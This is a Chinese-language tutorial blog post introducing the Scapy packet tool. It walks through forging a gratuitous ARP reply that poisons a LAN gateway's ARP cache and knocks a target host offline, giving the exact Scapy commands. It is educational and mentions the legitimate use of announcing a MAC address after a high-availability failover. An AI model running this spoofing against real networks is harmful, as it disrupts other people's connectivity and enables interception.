天天看點

網絡協定從入門到上瘾--初識Scapy

網際網路的核心是一系列協定,總稱為“網際網路協定”。它們對電腦如何連接配接群組網,做出來詳盡的規定。了解了這些協定,就是了解了網際網路的原理。

在面試或者工作過程中,我們對我們知道的網絡協定侃侃而談,五層模型,osi七層模型,三次握手,四次揮手,TCP/IP協定族,ICMP,ARP,HTTP,SNMP,廣播,多點傳播,多點傳播,單點傳播等等概念信手拈來。但是當遇到無法解決的網絡問題時,我們可能開始懷疑自己是否真的了解了這些協定。畢竟大部分時候,我們隻是記憶了這些概念,并在工作中利用前人發明的網絡工具和經驗解決工作中遇到的問題。

Scapy是一個建立在Python環境之上的網絡資料包操作程式,可以很容易随意操控網絡資料包,進而利用它很容易的了解網絡協定的工作原理。

下面利用網絡協定和Scapy實作一個有意思的程式:

使用Scapy攻擊區域網路主機,使被攻擊主機斷網。原理很簡單,就是利用免費ARP,修改網關中被攻擊主機的ARP緩存。

1.查詢區域網路網關

[[email protected] ~]# ip route
default via 192.168.91.254 dev ens192 
169.254.0.0/16 dev ens192 scope link metric 1002
           

其中,192.168.91.254即是區域網路網關ip位址。

2.安裝Scapy

pip install scapy
           

3.在指令行執行scapy,啟動scapy交換界面

4.使用Scapy建構免費ARP應答包

>>>arp = ARP(op=2,hwsrc="00:0c:22:33:cc:cc",hwdst="80:05:88:b5:88:64",pdst='192.168.91.254',psrc='192.168.90.22')
           

其中,op=2表示該arp包是應答包(根據arp協定,1表示請求,2表示應答);該arp包模拟了192.168.90.22應答網關192.168.91.254的arp應答包,網關收到該應答包後,會更新arp緩存,即修改192.168.90.22的mac為00:0c:22:33:cc:cc。

5.發送ARP應答包

>>>sendp(Ether(dst="80:05:88:b5:88:64")/arp)
           

向網關發送免費arp應答包,重新整理網關ARP緩存。ARP請求是廣播方式,ARP應答是單點傳播方式。dst是網關的mac位址。

6.在被攻擊主機中ping有效ip位址,檢測被攻擊主機網絡是否受到影響

[[email protected] ~]# ping www.baidu.com
ping: www.baidu.com: Name or service not known
           

小結

上述實驗隻是Scapy的一個小應用,看似很雞肋,且沒有任何實用價值,但是在實際中工作中是有用武之地的。比如在高可用場景下,網絡服務發生主備切換,如果剛切換到主機的mac位址不能很快通知網關,則網關将會繼續把流量發送給剛降級的備機。通過主動發送免費arp應答包,可以避免此類問題。

如果對雲計算感興趣,可以關注我的微信公衆号:

網絡協定從入門到上瘾--初識Scapy

繼續閱讀